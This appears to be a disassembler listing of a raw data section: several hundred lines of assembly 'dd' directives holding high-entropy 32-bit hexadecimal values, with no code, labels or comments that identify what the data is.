dd 0D25D8170h, 0E34CC1BCh, 0B9637F3Ah, 81E1A75Fh, 805A4F1Ah
dd 90CD5B21h, 51685200h, 0DD30585Ah, 0E0787EC5h, 0BC762BAh
dd 854A95E9h, 0AC988CF8h, 2D91345Ch, 3CD101h, 0D5486F68h
dd 31395E59h, 1A454CFEh, 0DF3B7D6Ch, 0E9D56E62h, 0A46B0595h
dd 555FE99Fh, 59E8BE91h, 51C22072h, 86085B5h, 0EC748087h
dd 776C073h, 9F6BE43Ch, 0F40F01C4h, 32EDEE45h, 92C21C09h
dd 58E746Ch, 0AB6F1B68h, 94952CCCh, 9BEE8163h, 203BC912h
dd 6819DDB3h, 0CD0C65A7h, 9806D8F0h, 0D2BE0970h, 5D5289F2h
dd 99638E2Ch, 0DA4494C5h, 6BC3E3D0h, 0CFB6D1B7h, 89EA6581h
dd 2E5C3D69h, 819B594h, 3DA7DF4Ch, 0DC24E8EEh, 0D4275B61h
dd 752C0B7Bh, 0F409B1Ah, 0D1E462Ah, 0F39F537Dh, 35E9D805h
dd 33BFC853h, 0A0E2CB9Eh, 7F90D3F0h, 0AB5BEF50h, 5F48B841h
dd 0AFB10151h, 0EF8050B7h, 2784609Bh, 34FBC24Ah, 6AA8A0h
dd 81459A11h, 171912EFh, 0B8293491h, 590840DFh, 8050ED2h
dd 50EF15DCh, 1C68081Ch, 155B1723h, 679EF2F3h, 0DCAD30C7h
dd 4DE9E15Ah, 5F4224FDh, 81671649h, 62C9583Dh, 18235A20h
dd 0BE517169h, 0F50F79E8h, 0B883E911h, 0EDFF63Ch, 0C062E780h
dd 0D709046Fh, 0F70B6B56h, 2681773Eh, 3BC4B4E9h, 0B52708F3h
dd 302C28E1h, 7C4F4AEEh, 5778C644h, 5CE23AE8h, 2FFEECCAh
dd 0F57E2225h, 895DAB34h, 0DC10D5BAh, 6E312ABFh, 0E8F8142Dh
dd 6702BE00h, 0C1468E0Eh, 0FEBCD2E6h, 1DDE6402h, 0B7F017E9h
dd 0F6C8FE00h, 530604D0h, 0F5C77288h, 829E1420h, 9BCCA3C2h
dd 0ABBB44F0h, 0FD5FE904h, 8990EDA3h, 74504B78h, 0FE535EFh
dd 0AB80B053h, 3D08E94Dh, 1212B9Eh, 0AE9F8055h, 8E440614h
dd 5A6008C3h, 8F8CC115h, 157C601h, 208C8ACBh, 0EC08B86Dh
dd 4005D340h, 0C340D457h, 3091E396h, 77A1180Fh, 0C4650210h
dd 13178008h, 0FF087418h, 0ED638235h, 8D66307Bh, 20082411h
dd 21317178h, 44BF20AAh, 8C90CD01h, 89B2B10h, 180362E2h
dd 0CA027794h, 0EC470381h, 4CF40810h, 1583D008h, 0B610561Bh
dd 0EE9E2061h, 892EF31h, 2801C7D2h, 7E20882Eh, 0B2D508CAh
dd 0C6E4408h, 0D3086991h, 0DF55E640h, 18F490D1h, 69086554h
dd 0ED4180F3h, 0DF29C380h, 1094D028h, 8C18AB9Ah, 0A9851870h
dd 0C64AFA80h, 8485910h, 79F57732h, 0E95306A0h, 2034FA31h
dd 88C0F12h, 671895B9h, 8A087862h, 66A103EAh, 512E2033h
dd 0A8488D3Ah, 72A0396Bh, 293F5833h, 0B10186Dh, 0B7340889h
dd 80F7BC80h, 28C404DAh, 0EA0A557Ch, 46838CC0h, 95F9C418h
dd 1080B208h, 2F1850C5h, 0CE8608FFh, 9853A981h, 3330FEE7h
dd 0FE0879F9h, 19335110h, 10623C3Eh, 91032B12h, 40087710h
dd 71C6481Eh, 40995482h, 884071B8h, 96084002h, 65915B66h
dd 10836239h, 85038731h, 92081B20h, 93171DAh, 31F921D2h
dd 19FB801h, 108A3C39h, 99EC4562h, 24AA0886h, 0CF40FD1Ch
dd 0CE9240E6h, 1F31AC92h, 48E10807h, 73A01888h, 107BB50Ch
dd 0DE374029h, 0D8208C92h, 826A3284h, 0E8A32C20h, 1012FC58h
dd 3048DED9h, 0D817086Ah, 0C19B363Bh, 90F55469h, 88B0A904h
dd 25C9AC51h, 88EB4401h, 8728110h, 0CB0AD51Ah, 8E90A4A6h
dd 891B119h, 57BC519Fh, 0D8208864h, 90CD155Bh, 8BF6018h
dd 18C68A2Eh, 2008272Fh, 4E207CA4h, 44524926h, 18A1ED10h
dd 3208B451h, 4020C430h, 996C0CEEh, 12E0A837h, 92CC80A7h
dd 80962980h, 8C80EFE5h, 4C10C940h, 70C42CA3h, 0C4A2182Ah
dd 0F9DC9355h, 68590218h, 80C49828h, 10C64E70h, 13D1F54Dh
dd 22E8FC9Ch, 0ECC05FA4h, 1EC94792h, 33B8788Bh, 3B1044AAh
dd 25EC0E5h, 896313EBh, 7AA7B90Eh, 105003Dh, 49408F44h
dd 750BC90Bh, 78748BF7h, 3DE165Ah, 33F731F0h, 0B10FE0C0h
dd 2C304F35h, 666C22FBh, 7A8A2EC9h, 5088B7C2h, 4A25FAEDh
dd 0F556ABCDh, 75D90101h, 0C76E6410h, 3EE1373Bh, 28F79FA6h
dd 0E4CFDB99h, 4BAFCA21h, 0EB800300h, 4318239Bh, 0E9C230F3h
dd 0EE142827h, 0B6521F16h, 5AF54225h, 61D5EDD0h, 83D480E3h
dd 3AD4702Ch, 0E94E04E8h, 59A3D700h, 5619DE05h, 0E9A2C01Fh
dd 0D9BDC437h, 0D6024B15h, 9CD5CBB3h, 0EF05074Ah, 503B4627h
dd 7F304BE5h, 0D3FCE910h, 7C88591Dh, 12BA00Bh, 886E1E57h
dd 94036836h, 44E90EA8h, 5A27383Ch, 331BD7A1h, 4829D9B2h
dd 0A75FB4C0h, 52A0C8E8h, 384ED468h, 11A167BDh, 53909D1Ch
dd 0C098C8Dh, 0CC8F5F7Ah, 0AD286104h, 59834AC5h, 91166AA3h
dd 7A16B6DDh, 0CDE24030h, 27FD01EBh, 0B150B0CBh, 42A6DB9Dh
dd 0AA9EFBF3h, 1AD90124h, 0E04FF210h, 68A27DAFh, 0C307D276h
dd 5CB97C4Eh, 5DF90E0Ch, 0EB017623h, 8AD006AEh, 47E9170Bh
dd 6210A5FDh, 0A6327A43h, 0F89C9D1h, 0A8FE8324h, 22E18736h
dd 35407A3Dh, 7EB753C1h, 3FC77EA6h, 0EF0F0EF7h, 5B25209Eh
dd 0AFA50F50h, 1CA9E3B6h, 74F8484Fh, 0CF9BC8BFh, 5620026Fh
dd 17ACE91Eh, 0C604BC82h, 6E27E0D5h, 199DC44Ah, 0DC5125Ah
dd 4105DFDh, 895E1F45h
dd 236A123Ch, 2BDD4240h, 625A3391h, 506F8A59h, 9CE7009h
dd 0AD93C1EDh, 58351674h, 0FC04F0A7h, 0E41AF641h, 3001B6DAh
dd 0E9504C5Ch, 0B37EAB82h, 2CFBD70Dh, 0A2405F1Fh, 348C0B0Dh
dd 0BC053AEh, 6F5F8016h, 0CE0340BDh, 2C9E7B1Eh, 7319EEB0h
dd 2D30FE03h, 0BCDB7F1Dh, 0F06C4BAh, 0C7095E07h, 0B442CF7Ch
dd 0E3D54BA1h, 0FBF0CFC3h, 0AC413568h, 4F953EC0h, 2F54D24h
dd 0E5A4C9FAh, 2BD01740h, 95212328h, 0D1A56225h, 59BF4125h
dd 0E94BC823h, 0D438EF28h, 0E53CB397h, 617B71AFh, 88108717h
dd 168259E8h, 682DB022h, 620C9EF7h, 0FE84E8B3h, 0FD0BEE5Bh
dd 2118DD8Eh, 0D5B0BE9h, 0E2DCA7F5h, 5B0ECBBDh, 274C0957h
dd 1ED8655Bh, 4E76E75Eh, 1A4B9405h, 49F1FE00h, 0EC19432Ah
dd 631C0CC1h, 3C0C69A1h, 0A58F4C16h, 955B98A0h, 0BF87408h
dd 18774E9Ah, 0C5CC3B12h, 0E16E6C9h, 0C6C04CCAh, 7EC42299h
dd 0D82FE0A0h, 29574001h, 0D1F75EF1h, 45054A8Ah, 0FB51259Dh
dd 4021E343h, 2568E91Bh, 1CC6140Dh, 0E65CA92Fh, 33AE0984h
dd 86803DD5h, 722F91EAh, 0E9A03B5Bh, 0A62E2FE9h, 7A34423h
dd 3ABD5A03h, 0D1466216h, 61408C09h, 7B136091h, 0D2E03235h
dd 540D6E9h, 44B5081Eh, 6656C9DDh, 346055F6h, 977E7728h
dd 0C827AEEh, 0D711400h, 0A7993988h, 7447840Bh, 0BA52E095h
dd 264D585Ah, 364D0B91h, 12E37448h, 0FC234F64h, 42F1DDDCh
dd 0FE5866E6h, 0C9B8AAC0h, 46BA66A0h, 140C6F24h, 2CBBF312h
dd 30BFCC03h, 2D0F34B2h, 3584C57h, 7B823E3Ah, 1369882Ah
dd 0BDAEE926h, 0CAEC8081h, 0E2EBE508h, 0C6EEDD1Eh, 904F3B7h
dd 0BB5DFBE4h, 860FD9C1h, 0F5B8556Bh, 1FA85313h, 53CB9654h
dd 0D420FB43h, 4CF22DF3h, 0F7355B54h, 0D6E6AD0Dh, 8C6B12B2h
dd 9FAA9CD7h, 2F614EF8h, 0E3C7805Eh, 3CE1EECCh, 0C63AFE28h
dd 8E864EDBh, 0F8DCFD5Ah, 5E7E1F43h, 8463E014h, 1A933816h
dd 0B43B09F1h, 137AD8EAh, 8151BB30h, 0E7AB0347h, 7025125h
dd 0E789DF59h, 0A18EA754h, 9DAA1367h, 0CE2820B3h, 496A011Ah
dd 3AE1030Ch, 40C1CA6Ch, 800A2FA5h, 7122E05h, 1AB5596h
dd 0BEA52125h, 5BC42F13h, 0BAD23CE9h, 16BAE9DCh, 54D2E0Bh
dd 8962B4DAh, 51F56CE4h, 0A3396A7Ch, 1A7DCE00h, 0E7134C97h
dd 8E60B800h, 0B659E97Eh, 0CEBB41B9h, 9209AFB4h, 68AD0922h
dd 665440EAh, 1B0AA360h, 568DFA61h, 45028877h, 3174EE6Dh
dd 0BC2804F5h, 0AC9B35BAh, 0A55126E9h, 1C6EBD8Eh, 7ABEDE27h
dd 70599954h, 0D2009965h, 2E1271C5h, 4305D07h, 0CC014860h
dd 5952DC41h, 11390F2Fh, 5F514720h, 0CBAE31D4h, 0A2E91284h
dd 8CBF3A40h, 0E410557Dh, 69AC0068h, 0E95D2C19h, 0BBA4EA2Bh
dd 8BCB145Ah, 0A29DAC4Fh, 0DCE70983h, 47A8E985h, 13FF5E52h
dd 8478BD11h, 0AA12DCE5h, 0C609B01Ch, 83890058h, 165AF130h
dd 34273168h, 0D046C04Ch, 0A48CE80h, 67B3298h, 88FA00F6h
dd 0BB30E9F7h, 0ED81762Ch, 51201E55h, 207EDDA6h, 4E00EFF6h
dd 10E5936h, 0A8B850F7h, 0B058C708h, 6AF945EAh, 79B87257h
dd 6C31AE4Bh, 0E02EF9F7h, 8D9028C2h, 82A1754Ch, 0FD0E5D8Ch
dd 9247900h, 13427E6h, 8007CD7h, 5F5E575Ah, 0DF5327E9h
dd 63622354h, 9F5355E7h, 0DE124B24h, 0F2D7DF0h, 1EC2650h
dd 0EF875845h, 6260708Ch, 0E2D11085h, 1D3344D7h, 0E6548DEAh
dd 0F6130D7Ch, 0F4367822h, 0B76DCC2h, 9F03EF76h, 0F0B144Ah
dd 22049C0Ch, 8904AE93h, 0C083F301h, 4C06C926h, 8A2EEBE1h
dd 5EC1616Ah, 652546E9h, 0DCE0E935h, 2F19D03h, 1E251E4h
dd 0A22A461h, 0CF6220B8h, 4A2A8B90h, 7F802FB0h, 0BA4CE78h
dd 0DAA53991h, 538E593Fh, 4D3F815Bh, 933141D6h, 2954CC25h
dd 809D4AAh, 3E6EE482h, 0FFF32948h, 5B896714h, 6B5902F4h
dd 0DF317D0Ah, 0CF40DF32h, 0A0303687h, 702A343Dh, 2157CE7h
dd 62CAF8C3h, 415F2911h, 5B810A6Ch, 335069C5h, 0CB047F7Eh
dd 590BB692h, 82204C5Ah, 9213BDE7h, 0A74963D1h, 83A85F14h
dd 57562FA0h, 4999E9D8h, 5717BF8Dh, 5131C8F8h, 0A7D1883Dh
dd 310A037Fh, 6AC0B9C6h, 48F73A64h, 360097DBh, 355F2F72h
dd 835071ACh, 629F4BEEh, 0D211D4A5h, 68E1E7FEh, 0DE786B2Eh
dd 840812C4h, 0FD68D4A2h, 220B416Fh, 62BFD26Bh, 0F0486CDFh
dd 5C1EAF05h, 3B897517h, 499057BDh, 0D9C712C7h, 7F35BDDh
dd 4A107D08h, 0F6D080D3h, 0C13880D9h, 59CB07A2h, 0EB82F328h
dd 519C7637h, 46A430h, 680BF009h, 6B353D6h, 0AEB15185h
dd 33737630h, 0EAE2E7CEh, 0D92FAECDh, 0D7D9E943h, 0B2BCE984h
dd 16D2E3AAh, 71EB0144h, 0A5265CA6h, 4A3AD716h, 42A918E8h
dd 9904695h, 45087EBBh, 80F58055h, 90263546h, 4EFA1F5Ah
dd 14CAED7Ah, 7752B55h, 3A8B2E74h, 1CA28CE3h, 29954DACh
dd 910DF4Ch, 0C5290485h, 3EA98958h, 0EBC4BF59h, 4B42B726h
dd 1189C31Fh, 44AE43Ch, 9F685058h, 0C9E7A842h, 581E29A2h
dd 0DFE7063Bh, 0DE39BB6Eh, 627E6117h, 1BC21EB8h, 1C0D154h
dd 310420B9h, 84E9677Fh, 622074E1h, 972709B0h, 0BD094D53h
dd 5079BFEh, 6E055AE2h, 0F15670ACh, 97534F50h, 173D7FFBh
dd 60FF5B13h, 3A5EE9B8h, 0AAE6EBC0h, 0EC6EAD2Ch, 0AF953AEEh
dd 0F0291C8Ah, 27DA0CA3h, 0B12CF229h, 983D9E71h, 0BE16E12Ah
dd 0C34616CCh, 7F23FA5Dh, 0BBBE0019h, 2B4758E4h, 0DD9A7C68h
dd 287F2A98h, 5CA490B5h, 9765B4EFh, 0F8DECD07h, 6882D769h
dd 3F4CF6CEh, 0F5A554E5h, 57E01AD5h, 359109E0h, 0F41E5AD6h
dd 0FDFE4249h, 8975A31Ah, 1203157Bh, 0D6CABA55h, 0DF7A8700h
dd 0F2F4BD2Bh, 7D2E3127h, 0EE5A900h, 7D585F26h, 497B04EAh
dd 86AB24B1h, 44C41296h, 3780A0D6h, 0BFF8215Dh, 77243A65h
dd 9633DB16h, 70F1CA53h, 0B0351CB2h, 8D925EDFh, 3AE00E98h
dd 0C0EB52B4h, 0F54A2DE3h, 95FBFA8h, 51CD3994h, 277F2020h
dd 5C44537Ah, 0CEAE919h, 923B5824h, 0EDF7A4F1h, 0D7E98443h
dd 633EE42h, 7765F6BAh, 5F0AB550h, 0B4E9424Bh, 0C0BD12C8h
dd 4FE8421Eh, 14F2199Ch, 0D59EFD5Bh, 0D2418C90h, 6FE46E30h
dd 2D8561CBh, 0CD25BEF4h, 0BF370EBFh, 755CC419h, 68BEE582h
dd 53E64B79h, 0A1CBBED2h, 1B7AE90Ch, 0D125684Eh, 6040563Bh
dd 40112FBBh, 0B4BF6703h, 24A7BEFCh, 1218DE16h, 3F34E00Ah
dd 0CA3D0725h, 208092Dh, 0F1F4CE7h, 514C04D2h, 63BA00A0h
dd 0F446FE2Dh, 0F7DE6B29h, 0F9539076h, 0DD3F420Fh, 9182DA6Eh
dd 68075B57h, 59983214h, 0B01212FFh, 2D5413D6h, 5DEEEC11h
dd 15BF5702h, 75306948h, 0FFE9E2h, 0AA6A8370h, 0D2B9004Dh
dd 0E9FF59B2h, 0A1951E23h, 80362AA3h, 4EE9520h, 79C04DC7h
dd 85B9C529h, 0F03121BFh, 0E7EC24AAh, 440748h, 0EA145C35h
dd 32E9FE31h, 0ADBD23A1h, 0A66FF276h, 51015A8h, 0E8C0D0F6h
dd 1F32F804h, 81D2732Ch, 8AF04A84h, 41B913F6h, 4B2A1264h
dd 0A62A6957h, 94B0081Bh, 2D9E5C2Fh, 32BD2CD8h, 81F375D9h
dd 6280E90Bh, 7416D7D6h, 6C306818h, 99B4A729h, 165AAEFCh
dd 206A1E52h, 16FDEA82h, 4E2F2723h, 68FA9A98h, 9E605F82h
dd 0CA7E8482h, 2CC8313Fh, 808F048Eh, 0F65201CEh, 5AE52454h
dd 12A4EEE4h, 313CA868h, 0F40EB5CBh, 282ED4C5h, 0E98413EEh
dd 0B405E0h, 804F00A2h, 94E28132h, 1A3B3F1Ch, 24758C1h
dd 0B614D9C2h, 3AE84491h
dd 700A54FAh, 26060558h, 2B62CF36h, 0FD46CBh, 99290B73h
dd 0CF015C43h, 0EA733713h, 0ABB27277h, 71ED7D3Ch, 93040888h
dd 237AF156h, 7A3781C8h, 89204348h, 0B78516CDh, 0E9D203BCh
dd 2A1788EDh, 25E95F54h, 0EB5BDF84h, 867AB92Dh, 1F984A23h
dd 21385317h, 0E0002CADh, 0F7223424h, 0ED09C1DDh, 2077E903h
dd 51D3F601h, 80B605B5h, 0E808EBF5h, 99C31E89h, 28FBF342h
dd 94D243D8h, 3B83D8BBh, 0FE56BD40h, 13BBCB5h, 55B3F68h
dd 0E22B6023h, 6B46BB09h, 1DA40215h, 0EE9B6801h, 930405ABh
dd 995D56F3h, 1D9FA682h, 0BCD5200Ah, 0FABD546Bh, 5536EF44h
dd 0A0516726h, 2D730B8Ah, 518C296Bh, 12022012h, 0CE81684Bh
dd 4E3FE19Eh, 0D88E969Eh, 1FF60C71h, 9472252Eh, 0F9293631h
dd 5DF21E61h, 6325C14h, 0DD467405h, 519D8648h, 27554D26h
dd 0A92F312Ch, 80A47501h, 0F2472119h, 7C38100h, 54EA3E16h
dd 1EDB0B10h, 0B417C2Ch, 4103E945h, 94C544A8h, 485959FFh
dd 0CA01800Ah, 0E9DAF635h, 0A82A1A79h, 818BD489h, 4B9F56B8h
dd 4A9B9C60h, 2C172979h, 4E24026Dh, 0DC5B51DFh, 789842C3h
dd 4CDE4DDh, 3A3558E2h, 0BCBF801Eh, 0F14FC5CFh, 0F85DD8C2h
dd 0EE887D22h, 0E8B6636h, 0D2E43A59h, 0B33C62C1h, 0C42BD8C9h
dd 0F25E827Bh, 0A0439C5Fh, 8039B80Dh, 71682B9h, 46BF3EB3h
dd 97320B60h, 1F0550B5h, 0E4B9D73Ah, 0CA2D818Eh, 0E434E868h
dd 7A105D8h, 3E02D95Bh, 0FDD6D7F3h, 0C37C3EA5h, 0EEE34E73h
dd 0E8009E69h, 4EE803C1h, 0E649EE0Ah, 0F8F7F231h, 52492D42h
dd 0B504F17Ch, 4C10732h, 8078E5E9h, 689CF45Bh, 3D8A6FB0h
dd 7D638955h, 5F17E347h, 6D4AC731h, 170BFA05h, 302BDAFDh
dd 660D56B9h, 521F5351h, 0EC0E08B6h, 0CBAE134Bh, 0E1197FC8h
dd 0C8980125h, 0AADF44h, 0F8424BD8h, 0E34CC170h, 0FA231C2Bh
dd 2DFC162Fh, 10DA998Ch, 66879125h, 4468175Eh, 0A22EB841h
dd 9812505Bh, 393E3282h, 0EC705D80h, 0E66C5E2Fh, 12F14B64h
dd 1CDB4492h, 45FA1248h, 0B4C7C5C7h, 31392167h, 0CB5F7BD0h
dd 0DDBAD400h, 9433AE77h, 2D592588h, 68B94062h, 0C5079971h
dd 0EEB4CED5h, 9DE6AF33h, 3D26F1F3h, 52011FA4h, 0EF8D84EBh
dd 7CD83E79h, 0C1C7C97Eh, 71E1967Fh, 0E2758209h, 7AC100D3h
dd 951ED847h, 8A72DED0h, 52E12725h, 0E9CB1318h, 4FBCB89Fh
dd 0AD4F7BDBh, 0A0688266h, 82DCD95Dh, 256F2916h, 0C5F3A05Dh
dd 4C4B0B4Fh, 4A60D9B8h, 0C4116CBFh, 0EEE9250Bh, 60115463h
dd 242642Ch, 0AEB25E60h, 20EA309h, 0E00AEB81h, 44F7F3AAh
dd 22A4017Bh, 4EE91AF2h, 5946AD98h, 40F469B0h, 80CEA554h
dd 65440DBCh, 2A7201E9h, 0F617B0E0h, 26B2C328h, 0EF373634h
dd 0FA6D7DA1h, 9A73204h, 0C3B4EF43h, 0A8D132E9h, 1156E263h
dd 1F5F0569h, 13BE6184h, 0F4592956h, 539DCEA0h, 0CC82DC4h
dd 9B12197Bh, 5B04D10Fh, 99A5E747h, 3030FB49h, 95681DC9h
dd 38C6803Fh, 294E907Ah, 4CE9CE0Dh, 0A12A3319h, 96E02A53h
dd 0D3CED002h, 50685600h, 5E25E630h, 220158B1h, 89A2B5D7h
dd 6D625201h, 6E661CE4h, 0B094CE6h, 914C5509h, 829C02F4h
dd 5BC9E51Dh, 1EB5728Eh, 8C705552h, 0E34D3EE8h, 0A54A60Bh
dd 1FAEE013h, 9710EE50h, 9981694h, 9A6BA30Bh, 99A08F06h
dd 86885264h, 7727D599h, 8415A32h, 0C9BF008Bh, 44AD3D59h
dd 0B5A66E1Ah, 4C22F89h, 31593060h, 94F9BBCh, 6823C015h
dd 4CC0ECBBh, 0D920715Dh, 0A3398912h, 74D44804h, 8B754D09h
dd 3197027Ch, 0ED4D4061h, 1BF23CB1h, 277A29ACh, 6413B522h
dd 25BF64F9h, 0D5080929h, 3B93624Ch, 3EAC28B4h, 75849574h
dd 78FBF15Ch, 7568C300h, 0BF312F5Fh, 0B1CB9968h, 4A48E1E0h
dd 22E9B083h, 0C071927Fh, 3238AFDEh, 0DB5CF77Ch, 11B1348Dh
dd 4FB52FEh, 133362B5h, 56B1EE01h, 0DB477EF7h, 5AAB72D2h
dd 495B78F8h, 5E25ACB7h, 0F4C9CED1h, 0E41425B6h, 1867549Fh
dd 683E06A0h, 0AD2CDD26h, 69BD16C3h, 68F5F83Dh, 81EDA7ACh
dd 88A42B31h, 0FC82D32Dh, 33F009DFh, 7940DF92h, 0F1825EEh
dd 0D70C6BEAh, 225D2C5Eh, 87F58918h, 4D81C57h, 0F471D4BAh
dd 66C4FE31h, 41A89C52h, 1CE0996h, 0F7EB9E76h, 3B5C8891h
dd 2F3264E6h, 51F65ADBh, 98CB42C6h, 9A79058h, 4CB34896h
dd 33934F09h, 3E05801Ch, 574E55CBh, 20071D88h, 68B240D4h
dd 807F37A2h, 8E254568h, 0BAC1D62Bh, 620B9350h, 70FCE924h
dd 116497EEh, 680C2C42h, 0DBBF5045h, 2B221A4Eh, 8A44FF5Ch
dd 7A29DE22h, 75598112h, 0C1A2E7BCh, 707D3A4Ah, 97BD2AA1h
dd 5BDD2D95h, 0C072B0Bh, 0BB120E3Fh, 904506D9h, 8B660EEBh
dd 0B72DBAD3h, 78169D39h, 475BD3E7h, 4268FE01h, 0FA8759A1h
dd 0E31169Dh, 0D097E4E9h, 0A70E1938h, 0D37D117Fh, 69A18EAh
dd 425FBF24h, 29C99AC7h, 0C25FDE6Fh, 66D5FF76h, 0ECC9F3B4h
dd 35D412A5h, 632B0B9h, 90DBF65Ah, 13009872h, 4A3CE9D8h
dd 6FA525Bh, 541A79CFh, 6885D354h, 0C631E32Fh, 35AF091Dh
dd 0BCC85D29h, 0B9805362h, 1457795Bh, 0A6E1D163h, 5C508820h
dd 0FE4EF060h, 0E081B6A9h, 0F83D1671h, 0DB9F1F75h, 0F740A59Fh
dd 2A5B9417h, 6A68AE00h, 24E9462Bh, 0C2EE86E1h, 0D709F4CFh
dd 0CB0D79E8h, 6E4A9DECh, 350006ECh, 0FFB192Bh, 550B2D40h
dd 0F8C4C67Dh, 5BC8A0A4h, 59342745h, 0F6DE7839h, 6DEE7155h
dd 0E7A67E08h, 2AAF5410h, 0C30420B8h, 18796858h, 154E4F91h
dd 7279A4ADh, 0AB655660h, 0B2249809h, 2A9C3Eh, 6801C283h
dd 189D5BB1h, 2D4F1356h, 16232A30h, 5C1F34EBh, 0E7DFF331h
dd 0FCCDBDE6h, 2F66A32Bh, 0DFD112DAh, 0B9805FC5h, 166A13E3h
dd 96630E9h, 24ECF2Dh, 0A3F0964Bh, 0B3CC140Fh, 247DA134h
dd 2F18F11h, 6D77E9FEh, 0C0455671h, 2D53B6B0h, 0C9E08FB7h
dd 0E73B80C7h, 50DF9F20h, 88AFB343h, 7FEC7CDCh, 0CF75C58h
dd 0A3EF5517h, 0D49219D0h, 0C86F214Ch, 0ED4E5AD5h, 0B18584E9h
dd 0B06D25C0h, 4340D189h, 8E63BF59h, 0CEA5A38Fh, 0FB27C885h
dd 66AC1A4Dh, 80453BCCh, 5E525195h, 0CAFB5F68h, 0A6BB2F38h
dd 0CD2908BDh, 160F8D0Ch, 0DCC4D808h, 0A8F3EF80h, 24B2860Ah
dd 6B209C90h, 37F897D0h, 256079B5h, 799736F7h, 0B10E54E9h
dd 303A05C6h, 0DC591278h, 0F719EE65h, 0CECC6518h, 90082AA0h
dd 77A48A49h, 759691F8h, 6B38F7CBh, 3E93FEEEh, 0EEA54F12h
dd 0DBEAC4DFh, 0CDE91317h, 0A2BB4082h, 46480Ah, 1A88595Ch
dd 0BDFE6497h, 0E98472E5h, 288AB306h, 3BB33D5Bh, 68D01B8Dh
dd 0B81B4BC0h, 0BFC4F45Bh, 984945FBh, 0E0C21288h, 3A4C2C56h
dd 0FDB92E9Bh, 0D253C417h, 0DB3FE445h, 93A4F881h, 83FBB7Dh
dd 71970C73h, 0D10C7E30h, 0DEEF9E3Dh, 0FC3BF7C3h, 0C8B58858h
dd 61EDC02Dh, 69D731Ch, 0BEE58F01h, 8810F521h, 84A17EEAh
dd 98D78A3h, 9A845756h, 485805DEh, 0F6FEC0BEh, 4D275A13h
dd 3130DD01h, 31184EEAh, 6E0C0FBFh, 60750330h, 2A43E956h
dd 0AEB4614Fh, 0A2DA5EFDh, 0B5A6D87h, 292CF4F5h, 0B47DBB4Eh
dd 0C14DB82Ah, 5526C781h, 0C846DFDh, 85071853h, 2BEC0B9Bh
dd 0F18240E3h, 80D5957Dh, 5253C1FEh, 0CC4AB151h, 5BB3DBE0h
dd 2F2BEC0Dh, 5AEF814Dh, 1F30F480h, 78A570C6h, 0F2EE75E6h
dd 69F06528h, 9517C25Ah, 2CD00500h, 3567075Bh, 197F1E36h
dd 0FB2E1F85h, 9B4ACFD8h
dd 73B81EAAh, 3281BA6Eh, 1E4E6091h, 5D65A85Eh, 49F7B288h
dd 0FB3BF592h, 851ED5A4h, 8C027468h, 80FEB6F5h, 3AF8EC38h
dd 0A7C4BAF4h, 0E57450E9h, 8232F36Fh, 2802BE56h, 0D7202F1h
dd 6A7D1E5Ch, 0F3080844h, 642DDDA5h, 1CB72A0Eh, 0A8F2D5C4h
dd 99169EF4h, 0EE2F7FADh, 23179CFCh, 0A7EAAF83h, 0C5268F83h
dd 0B056DA72h, 0C9A0E933h, 7D765239h, 48A40394h, 95CB3BA5h
dd 48A4E865h, 815F09A9h, 8632DFC5h, 6474F7A9h, 3E7E042h
dd 0BBAEFB5h, 5AFB3D6h, 9D0E280Dh, 2DAB728Ah, 2B230EEh
dd 0E95857BEh, 0ED135AF1h, 8790C454h, 7CC170FCh, 7E43F915h
dd 0BB3CA2C7h, 1EACECD0h, 0C32A5933h, 12175C5Ah, 79D368A0h
dd 8229ACBBh, 2D29DF25h, 8E1A82F5h, 827D0BF8h, 7BB20982h
dd 96C51034h, 0F7DD5C72h, 0E79F8E16h, 715E2597h, 0FD8D71C6h
dd 25C667E2h, 0E98405F9h, 30BFEA58h, 996855E7h, 3BD3751Fh
dd 9360ECCAh, 8E877569h, 1748F285h, 23D2F5Eh, 0B231F668h
dd 693E5E23h, 0E91CDCFEh, 95236516h, 0BE4F1E8Eh, 38920FCBh
dd 0A8A49744h, 0E4DAC47Bh, 0E8878C12h, 0B492790h, 2DE2404Bh
dd 0EE495D28h, 59E6C625h, 95FCBCDh, 8DD07190h, 3A10529Dh
dd 19AB3CA4h, 0C5E0549h, 0DEDEAF37h, 0DF5D1EEEh, 4144FC2h
dd 132DF005h, 3BCF0207h, 0B0C06C7Bh, 0F1D40E9h, 0C98113D0h
dd 4E5E199Fh, 3F05E1F0h, 49BEEF21h, 92FC197h, 0E075D321h
dd 4120454h, 57E91A4Ah, 5D50CC64h, 37631BF2h, 0C9EEB912h
dd 187A1EDAh, 3A446E85h, 74933827h, 23138B5Ch, 0FDA60B65h
dd 2CAC27E4h, 0B6B6D84Ah, 8802295Bh, 0D42EBE68h, 0E877792Eh
dd 1345C10h, 81264C1h, 0A43785F6h, 6845CCC9h, 65659B2Dh
dd 0C6B882Ch, 4AA8FE17h, 95F27F2Ah, 187A4EC2h, 38A35A4Eh
dd 68E0D302h, 0B7517FF2h, 2237DB80h, 0E4CD8123h, 13AC0663h
dd 9701C583h, 6EE86814h, 2AD38019h, 2DE902ACh, 27797825h
dd 8FBC123Ch, 297B99E7h, 459D6ADDh, 3E6CDC5Bh, 0CD2A025Bh
dd 0A806494Eh, 507C4580h, 4B710AB8h, 0EFFA6C50h, 22C16881h
dd 1272C276h, 27566A3Eh, 0A91036D7h, 6392EB5Eh, 7823565Dh
dd 0F34FF9E9h, 12B02088h, 9C8FE59h, 0F70279Bh, 3238B800h
dd 5401F93h, 200E1D8Dh, 0DF4F4047h, 0E8E9D951h, 0AAA4ED5Bh
dd 0A164634Eh, 3E0052E5h, 106E313Bh, 25D91FBAh, 747E6A78h
dd 0B25EF4Ah, 0BE7523h, 13436816h, 9137DCE3h, 526BD225h
dd 0A3AE2545h, 2F3B8A88h, 0D0037D8h, 5B276155h, 780A812Dh
dd 0C7892CAEh, 752C106Bh, 11B4AD4Bh, 0A22BF587h, 219D8DA3h
dd 899E163Fh, 5B3F08B1h, 62926814h, 0C40A9459h, 5F02FF57h
dd 0C57FC731h, 0E90730BFh, 509B9ED8h, 0FC9DB209h, 6F8B7110h
dd 52BB3100h, 30E7A4Ah, 776E381h, 0C045CF8h, 70CB4C03h
dd 0F0CB87BEh, 52010CF3h, 4EA51C58h, 0ECEA7190h, 58093342h
dd 20B1E40Ch, 73897A27h, 2CFF26Dh, 9CF73CA9h, 9409543Fh
dd 6775EC5Bh, 0D4F2BB1Bh, 2B4BF1A6h, 513D8FB2h, 358373A7h
dd 0D8637C01h, 2290E14h, 0C112C59Bh, 5DF6DB0Dh, 35023526h
dd 606B8A11h, 9AA9E9C2h, 0BDC1BFF5h, 3A953920h, 18DEBD5Eh
